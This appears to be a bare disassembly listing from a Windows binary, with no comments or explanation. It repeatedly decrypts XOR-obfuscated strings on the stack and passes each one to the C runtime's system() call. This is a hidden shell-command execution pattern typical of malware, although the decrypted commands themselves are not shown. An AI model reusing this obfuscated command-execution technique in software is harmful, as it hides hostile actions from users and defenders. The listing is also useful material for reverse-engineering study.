movups xmm1, xmmword [0x1400a53d0]
movups xmmword [rbp + 0x2340], xmm0
movups xmmword [rbp + 0x2330], xmm1
movups xmm0, xmmword [0x1400a5400]
movups xmm1, xmmword [0x1400a53f0]
movups xmmword [rbp + 0x2360], xmm0
movups xmmword [rbp + 0x2350], xmm1
mov eax, dword [0x1400a5430]
movups xmm0, xmmword [0x1400a5420]
movups xmm1, xmmword [0x1400a5410]
mov dword [rbp + 0x2390], eax
movups xmmword [rbp + 0x2380], xmm0
movups xmmword [rbp + 0x2370], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000fb2a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2304]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000fa21
cmp r8d, 0x94
jge 0x14000fb73
movsxd rax, r8d
lea r9, [rbp + 0x2300]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x14000fb40
lea rcx, [rbp + 0x2300]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a31c0]
movups xmmword [rbp + 0x1a90], xmm0
movups xmm0, xmmword [0x1400a31e0]
movups xmm1, xmmword [0x1400a31d0]
movups xmmword [rbp + 0x1ab0], xmm0
movups xmmword [rbp + 0x1aa0], xmm1
movups xmm0, xmmword [0x1400a3200]
movups xmm1, xmmword [0x1400a31f0]
movups xmmword [rbp + 0x1ad0], xmm0
movups xmmword [rbp + 0x1ac0], xmm1
mov eax, dword [0x1400a3250]
movups xmm0, xmmword [0x1400a3220]
movups xmm1, xmmword [0x1400a3210]
mov dword [rbp + 0x1b20], eax
movups xmmword [rbp + 0x1af0], xmm0
movups xmmword [rbp + 0x1ae0], xmm1
movzx eax, word [0x1400a3254]
movups xmm0, xmmword [0x1400a3240]
movups xmm1, xmmword [0x1400a3230]
mov word [rbp + 0x1b24], ax
movups xmmword [rbp + 0x1b10], xmm0
movups xmmword [rbp + 0x1b00], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000fd69
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1a94]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000fc60
cmp r8d, 0x96
jge 0x14000fdb3
movsxd rax, r8d
lea r9, [rbp + 0x1a90]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000fd80
lea rcx, [rbp + 0x1a90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5500]
movups xmmword [rbp + 0x1bd0], xmm0
movups xmm0, xmmword [0x1400a5520]
movups xmm1, xmmword [0x1400a5510]
movups xmmword [rbp + 0x1bf0], xmm0
movups xmmword [rbp + 0x1be0], xmm1
movups xmm0, xmmword [0x1400a5540]
movups xmm1, xmmword [0x1400a5530]
movups xmmword [rbp + 0x1c10], xmm0
movups xmmword [rbp + 0x1c00], xmm1
mov eax, dword [0x1400a5590]
movups xmm0, xmmword [0x1400a5560]
movups xmm1, xmmword [0x1400a5550]
mov dword [rbp + 0x1c60], eax
movups xmmword [rbp + 0x1c30], xmm0
movups xmmword [rbp + 0x1c20], xmm1
movzx eax, word [0x1400a5594]
movups xmm0, xmmword [0x1400a5580]
movups xmm1, xmmword [0x1400a5570]
mov word [rbp + 0x1c64], ax
movups xmmword [rbp + 0x1c50], xmm0
movups xmmword [rbp + 0x1c40], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000ffa9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1bd4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000fea0
cmp r8d, 0x96
jge 0x14000fff3
movsxd rax, r8d
lea r9, [rbp + 0x1bd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000ffc0
lea rcx, [rbp + 0x1bd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a4710]
movups xmm0, xmmword [0x1400a4700]
movups xmmword [rbp + 0x2010], xmm1
movups xmmword [rbp + 0x2000], xmm0
movups xmm1, xmmword [0x1400a4730]
movups xmm0, xmmword [0x1400a4720]
movups xmmword [rbp + 0x2030], xmm1
movups xmmword [rbp + 0x2020], xmm0
movups xmm1, xmmword [0x1400a4750]
movups xmm0, xmmword [0x1400a4740]
movups xmmword [rbp + 0x2050], xmm1
movups xmmword [rbp + 0x2040], xmm0
mov eax, dword [0x1400a4780]
movups xmm1, xmmword [0x1400a4770]
movups xmm0, xmmword [0x1400a4760]
mov dword [rbp + 0x2080], eax
movups xmmword [rbp + 0x2070], xmm1
movups xmmword [rbp + 0x2060], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x1400101d9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2004]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400100d0
cmp r8d, 0x84
jge 0x140010223
movsxd rax, r8d
lea r9, [rbp + 0x2000]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x1400101f0
lea rcx, [rbp + 0x2000]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a35e0]
movups xmmword [rbp + 0xad0], xmm0
movups xmm0, xmmword [0x1400a3600]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm0, xmmword [0x1400a3620]
movups xmm1, xmmword [0x1400a35f0]
movups xmmword [rbp + 0xb10], xmm0
movups xmmword [rbp + 0xae0], xmm1
mov eax, dword [str._7_D]
movups xmm0, xmmword [0x1400a3640]
movups xmm1, xmmword [0x1400a3610]
mov dword [rbp + 0xb48], eax
movups xmmword [rbp + 0xb30], xmm0
movups xmmword [rbp + 0xb00], xmm1
movzx eax, byte [0x1400a365c]
movsd xmm0, qword [0x1400a3650]
movups xmm1, xmmword [0x1400a3630]
mov byte [rbp + 0xb4c], al
movsd qword [rbp + 0xb40], xmm0
movups xmmword [rbp + 0xb20], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140010405
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xad4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140010302
cmp r8d, 0x7d
jge 0x140010450
movsxd rax, r8d
lea r9, [rbp + 0xad0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140010420
lea rcx, [rbp + 0xad0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6440]
movups xmmword [rbp + 0x14d0], xmm0
movups xmm0, xmmword [0x1400a6460]
movups xmmword [rbp + 0x14f0], xmm0
movups xmm0, xmmword [0x1400a6480]
movups xmm1, xmmword [0x1400a6450]
movups xmmword [rbp + 0x1510], xmm0
movups xmmword [rbp + 0x14e0], xmm1
movups xmm0, xmmword [0x1400a64a0]
movups xmm1, xmmword [0x1400a6470]
movups xmmword [rbp + 0x1530], xmm0
movups xmmword [rbp + 0x1500], xmm1
movzx eax, byte [0x1400a64b8]
movsd xmm0, qword [0x1400a64b0]
movups xmm1, xmmword [0x1400a6490]
mov byte [rbp + 0x1548], al
movsd qword [rbp + 0x1540], xmm0
movups xmmword [rbp + 0x1520], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140010633
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x14d4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140010530
cmp r8d, 0x79
jge 0x140010670
movsxd rax, r8d
lea r9, [rbp + 0x14d0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x140010640
lea rcx, [rbp + 0x14d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3cf0]
movups xmmword [rbp + 0x23a0], xmm0
movups xmm0, xmmword [0x1400a3d10]
movups xmm1, xmmword [0x1400a3d00]
movups xmmword [rbp + 0x23c0], xmm0
movups xmmword [rbp + 0x23b0], xmm1
movups xmm0, xmmword [0x1400a3d30]
movups xmm1, xmmword [0x1400a3d20]
movups xmmword [rbp + 0x23e0], xmm0
movups xmmword [rbp + 0x23d0], xmm1
movups xmm0, xmmword [0x1400a3d50]
movups xmm1, xmmword [0x1400a3d40]
movups xmmword [rbp + 0x2400], xmm0
movups xmmword [rbp + 0x23f0], xmm1
movsd xmm0, qword [0x1400a3d70]
movups xmm1, xmmword [0x1400a3d60]
movsd qword [rbp + 0x2420], xmm0
movups xmmword [rbp + 0x2410], xmm1
cmp r14d, 2
jl 0x140010850
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x23a4]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140010750
jmp 0x140010893
lea r9, [rbp + 0x23a0]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140010860
lea rcx, [rbp + 0x23a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a61b0]
movups xmmword [rbp + 0x1810], xmm0
movups xmm0, xmmword [0x1400a61d0]
movups xmm1, xmmword [0x1400a61c0]
movups xmmword [rbp + 0x1830], xmm0
movups xmmword [rbp + 0x1820], xmm1
movups xmm0, xmmword [0x1400a61f0]
movups xmm1, xmmword [0x1400a61e0]
movups xmmword [rbp + 0x1850], xmm0
movups xmmword [rbp + 0x1840], xmm1
movzx eax, word [0x1400a6240]
movups xmm0, xmmword [0x1400a6210]
movups xmm1, xmmword [0x1400a6200]
mov word [rbp + 0x18a0], ax
movups xmmword [rbp + 0x1870], xmm0
movups xmmword [rbp + 0x1860], xmm1
movzx eax, byte [0x1400a6242]
movups xmm0, xmmword [0x1400a6230]
movups xmm1, xmmword [0x1400a6220]
mov byte [rbp + 0x18a2], al
movups xmmword [rbp + 0x1890], xmm0
movups xmmword [rbp + 0x1880], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140010a89
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1814]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140010980
cmp r8d, 0x93
jge 0x140010ad3
movsxd rax, r8d
lea r9, [rbp + 0x1810]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140010aa0
lea rcx, [rbp + 0x1810]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6620]
movups xmmword [rbp + 0x1f10], xmm0
movups xmm0, xmmword [str.__:_6_055]
movups xmmword [rbp + 0x1f30], xmm0
movups xmm0, xmmword [0x1400a6660]
movups xmm1, xmmword [0x1400a6630]
movups xmmword [rbp + 0x1f50], xmm0
movups xmmword [rbp + 0x1f20], xmm1
movups xmm0, xmmword [0x1400a6680]
movups xmm1, xmmword [0x1400a6650]
movups xmmword [rbp + 0x1f70], xmm0
movups xmmword [rbp + 0x1f40], xmm1
movups xmm0, xmmword [0x1400a66a0]
movups xmm1, xmmword [str._tn__q]
movups xmmword [rbp + 0x1f90], xmm0
movups xmmword [rbp + 0x1f60], xmm1
movzx eax, word [0x1400a66b8]
movsd xmm0, qword [0x1400a66b0]
movups xmm1, xmmword [0x1400a6690]
mov word [rbp + 0x1fa8], ax
movsd qword [rbp + 0x1fa0], xmm0
movups xmmword [rbp + 0x1f80], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140010cd9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1f14]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
